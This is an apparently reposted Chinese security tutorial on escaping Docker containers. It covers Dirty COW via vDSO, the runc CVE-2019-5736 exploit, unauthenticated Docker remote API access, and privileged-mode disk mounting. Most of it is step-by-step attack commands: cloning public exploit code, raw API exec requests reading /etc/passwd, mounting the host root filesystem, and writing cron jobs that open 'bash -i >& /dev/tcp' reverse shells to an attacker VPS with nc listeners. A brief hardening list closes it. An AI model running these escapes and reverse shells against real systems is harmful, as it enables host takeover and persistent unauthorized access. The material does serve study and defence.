<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    干貨|docker逃逸的幾種方法以及其原理

    VSole2021-09-28 06:33:09

    前言

    獲取某個系統shell后發現其是docker,這時候我們就需要進行docker逃逸來拿到其真正宿主的權限。這里提供幾種思路。

    1. 利用dirty cow來進行docker逃逸
    2. cve-2019-5736
    3. docker配置不當

    利用dirty cow來進行docker逃逸

    1.前置知識

    VDSO其實就是將內核中的.so文件映射到內存,.so是基于Linux下的動態鏈接,其功能和作用類似與windows下.dll文件。

    在Linux中,有一個功能:VDSO(virtual dvnamic shared object),這是一個小型共享庫,能將內核自動映射到所有用戶程序的地址空間,可以理解成將內核中的函數映射到內存中,方便大家訪問。

    2.利用dirty cow與VDSO來實現docker逃逸的過程

    dirty cow漏洞可以讓我們獲取只讀內存的寫的權限,我們首先利用dirty cow漏洞寫入一段shellcode到VDSO映射的一段閑置內存中,然后改變函數的執行順序,使得調用正常的任意函數之前都要執行這段shellcode。這段shellcode初始化的時候會檢查是否是被root調用,如果是則繼續執行,如果不是,則接著執行clock_gettime函數,接下來它會檢測/tmp/.X文件的存在,如果存在,則這時已經是root權限了,然后它會打開一個反向的TCP鏈接,為Shellcode中填寫的ip返回一個Shell。

    這種利用方法利用成功的前提是,宿主機的內核有dirty cow漏洞。

    3.利用過程

    1.判斷是否為docker環境

    ls -alh /.dockerenv
    

    docker環境中根目錄下存在此文件

    查看系統進程的cgroup信息

    cat /proc/1/cgroup
    

    2.下載腳本

    git clone https://github.com/scumjr/dirtycow-vdso.git
    cd /dirtycow-vdso/
    make
    

    3.利用腳本

    ./0xdeadbeef #反彈shell到本地主機
    ./0xdeadbeef ip:port #反彈shell到指定主機的指定端口
    4.利用結果
    

    我們直接反彈宿主機的shell到127.0.0.1如圖所示

    這時候我們進入root文件夾內創建一個任意文件,這里文件名我們定義為random_file。

    這時候我們進入宿主機看看(由于是實驗環境,所以我們可以通過正常的渠道直接進入宿主機看漏洞利用情況):

    發現宿主機上有我們剛創建的文件,至此docker逃逸成功。

    可以通過i春秋的練習環境來進行此實驗:

    利用Dirty Cow實現Docker逃逸

    通過cve-2019-5736來達到docker逃逸

    1.利用原理與條件

    通過在docker容器內重寫和運行主機系統的runc二進制文件達到逃逸的目的。

    利用條件為:

    1. runc版本<=1.0-rc6
    2. Docker Version < 18.09.2

    2.漏洞觸發過程

    首先我們得有一個docker下的shell,第二步修改利用腳本中的反彈shell命令,第三步使用go build來編譯腳本,第四步將腳本上傳到docker中,第五步等待宿主機執行exec進入當前docker容器等時候,宿主機就會向我們的vps反彈root權限的shell。

    3.具體操作

    第一步:確定docker環境

    ls -alh /.dockerenv
    

    docker環境中根目錄下存在此文件

    查看系統進程的cgroup信息

    cat /proc/1/cgroup
    

    第二步:下載利用腳本并修改

    git clone https://github.com/Frichetten/CVE-2019-5736-PoC.git
    

    下圖中的選中部分修改后面的命令為反彈shell命令即可。

    第三步:編譯腳本

    go build main.go
    

    第四步:將編譯好的main文件上傳到docker中

    可以先上傳到github然后在docker到shell中使用git clone命令即可,這里不做演示。

    第五步:執行腳本并等待此docker再次被exec

    docker exec -it test /bin/bash
    

    如上命令的含義是進入test這個容器,當宿主機上執行exec命令來進入我們運行了腳本的容器的時候,宿主機就會反彈root權限的shell給我們的vps的監聽端口,至此利用結束。

    4.對此種方式利用的理解

    這種方式利用的條件其實比較苛刻,主要苛刻在宿主機必須有人執行exec命令進入當前docker環境,如果沒有人在宿主機執行的話,是無法進行docker逃逸的。

    配置不當導致docker逃逸

    1.docket remote api未授權訪問導致逃逸

    docker swarm是管理docker集群的工具。主從管理、默認通過2375端口通信。綁定了一個Docker Remote API的服務,可以通過HTTP、Python、調用API來操作Docker。由于環境復雜,這里借用freebuf上的圖片。

    確定docker remote api是否可訪問

    直接在瀏覽器中輸入http://ip:2375/version

    漏洞利用

    1.訪問http://ip:2375/containers/json看是否出現以下畫面:

    2.創建一個包,得到返回的exec_id的參數,數據包內容如下:

    POST /containers//exec HTTP/1.1
    Host: :PORT
    Content-Type: application/json
    Content-Length: 188
    {
    “AttachStdin”: true,
    “AttachStdout”: true,
    “AttachStderr”: true,
    “Cmd”: [“cat”, “/etc/passwd”],
    “DetachKeys”: “ctrl-p,ctrl-q”,
    “Privileged”: true,
    “Tty”: true
    }

    注意其中的cmd字段,這個就是要執行的命令。

    3.得到exec_id參數后構造第二個exec_start數據包,內容如下:

    POST /exec//start HTTP/1.1
    Host: :PORT
    Content-Type: application/json
    {
    “Detach”: false,
    “Tty”: false
    }
    然后發送后會得到結果:
    至此成功獲取到docker主機的命令執行權限,但是還無法逃逸到宿主機。

    4.在docker容器內安裝docker作為client

    apt-get install docker.io
    yum -y install docker
    

    5.查看宿主機的docker image信息

    docker -H tcp://宿主機ip:2375 images
    

    6.啟動一個容器并且將宿主機的根目錄抓再到容器的某個目錄

    docker -H tcp://宿主ip:2375 run -it -v /:/test adafef2e596e /bin/bash
    
    上述命令的意思是將宿主機的根目錄掛在到容器adafef2e596e的/test目錄下
    

    7.寫一個計劃任務反彈shell(或者寫.ssh公鑰都OK)

    echo '* * * * * bash -i >& /dev/tcp/x.x.x.x/8888 0>&1' >> /test/var/spool/cron/root
    
    8.在vps上使用nc命令等待反彈過來的shell
    

    nc -lvp 8888

    利用特權模式逃逸

    漏洞原理

    使用特權模式啟動容器,可以獲取大量設備文件訪問權限。因為當管理員執行docker run —privileged時,Docker容器將被允許訪問主機上的所有設備,并可以執行mount命令進行掛載。

    漏洞利用

    1.查看磁盤文件

    fdisk -l

    2.將/dev/vda1也就是磁盤掛在到本地的任意文件下

    mkdir /nuoyan
    mount /dev/vda1 /nuoyan
    此時這個nuoyan文件夾就相當于對方主機的根目錄,可以進行寫文件操作。
    

    3.寫入計劃任務

    echo '* * * * * bash -i >& /dev/tcp/vps的ip/8888 0>&1' >> /nuoyan/var/spool/cron/root
    4.在vps上等待shell反連接
    nc -lvp 8888
    

    防止docker逃逸的方法

    1、更新Docker版本到19.03.1及更高版本——CVE-2019-14271、覆蓋CVE-2019-5736

    2、runc版本 > 1.0-rc6

    3、k8s 集群版本>1.12

    4、Linux內核版本>=2.6.22——CVE-2016-5195(臟牛)

    5、Linux內核版本>=4.14——CVE-2017–1000405(大臟牛),未找到docker逃逸利用過程,但存在逃逸風險

    6、不建議以root權限運行Docker服務

    7、不建議以privileged(特權模式)啟動Docker

    8、不建議將宿主機目錄掛載至容器目錄

    9、不建議將容器以—cap-add=SYSADMIN啟動,SYSADMIN意為container進程允許執行mount、umount等一系列系統管理操作,存在容器逃逸風險

    參考文章

    https://www.freebuf.com/articles/container/242763.html

    https://www.cnblogs.com/xiaozi/p/13423853.html

    原創作者:Shanfenglan7

    作者介紹:一個剛步入安全行業的人,樂意分享技術,樂意接受批評,樂意交流。希望自己能把抽象的技術用盡量具體的語言講出來,讓每個人都能看懂,并覺得簡單。最后希望大家可以關注我的博客:shanfenglan.blog.csdn.net。

    docker容器技術
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    主要介紹了容器技術的發展、以Docker為代表的容器技術生態以及容器技術的應用場景。
    容器安全是一個龐大且牽涉極廣的話題,而容器的安全隔離往往是一套縱深防御的體系,牽扯到AppArmor、Namespace、Capabilities、Cgroup、Seccomp等多項內核技術和特性,但安全卻是一處薄弱則全盤皆輸的局面,一個新的內核特性可能就會讓看似無懈可擊的防線存在突破口。隨著云原生技術的快速發展,越來越多的容器運行時組件在新版本中會默認配置AppArmor策略,原本我們在《紅藍對
    在完成了這項針對 Linux 中多個受控制用戶空間的基礎性工作后,Linux 容器開始逐漸成形并最終發展成了現在的模樣。開源 Docker 社區致力于改進這類技術,并免費提供給所有用戶,使之獲益。除了運行容器之外,Docker 技術還具備其他多項功能,包括簡化用于構建容器、傳輸鏡像以及控制鏡像版本的流程。與此相反,Docker 技術鼓勵應用程序各自獨立運行其進程,并提供相應工具以實現這一功能。
    目前發現并沒有將kubernetes和Docker技術產生背景和需求進行比較的文章,本文從最純正的官方定義角度出發并展開,闡述二者產生背景及與傳統技術對比。官方定義2:k8s是一個開源的容器集群管理系統,可以實現容器集群的自動化部署、自動擴縮容、維護等功能。
    云原生安全工具合集
    2023-04-11 10:06:28
    以Docker+K8s為代表的容器技術得到了越來越廣泛的應用,從安全攻防的角度,攻擊者已經不再滿足于容器逃逸,進而攻擊整個容器編排平臺,如果可以拿下集群管理員權限,其效果不亞于域控失陷。在云原生安全攻防的場景下,甲乙攻防雙方對于安全工具的關注點也不一樣。
    在工業開發領域也有人提出了一種被稱為 MLops 的新的開發范式,即機器學習時代的 Devops。Reproducible Machine Learning,顧名思義,即為可復現的機器學習。
    一、前言 這篇文章可能出現一些圖文截圖顏色或者命令端口不一樣的情況,原因是因為這篇文章是我重復嘗試過好多次才寫的,所以比如正常應該是訪問6443,但是截圖中是顯示大端口比如60123這種,不影響閱讀和文章邏輯,無需理會即可,另外k8s基礎那一欄。。。本來想寫一下k8s的鑒權,后來想了想,太長了,不便于我查筆記,還不如分開寫,所以K8S基礎那里屬于湊數???寫了懶得刪(雖然是粘貼的:))
    Docker容器入門指北
    2022-05-11 06:43:31
    Docker 是一種基于 Linux 的容器技術,類似于輕量的虛擬機。它采用 C/S 架構,使用Go語言開發。Docker 分為 2 個版本:社區版和企業版,社區版免費,企業版是收費的
    聲明 本文為筆者對實際容器安全事件的歸納,僅代表個人觀點。 文末為容器安全事件排查與響應思維導圖。 引子 定位初始入侵位置 首先要確認入侵是否發生在容器內,或者說只在容器內。 場景:zabbix告警一個進程占用非常高,像是挖礦程序/DOS了。 但是查看進程的PPID卻發現是systemd,這種情況大概率是容器相關了。 首先獲取程序PID,然后查看對應進程的進程樹是否父進程為contai
    軟件定義安全毫無疑問是未來數據中心安全建設發展方向,在等保合規建設中發揮重要作用,需要安全廠商對等級保護標準深入理解和云計算安全領域的持續積累創新,需要網絡安全行業進一步推進開放的生態圈建設,不斷開發出適合各種場景的完備的解決方案,應對持續加大的合規、實戰和投入的三重壓力。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类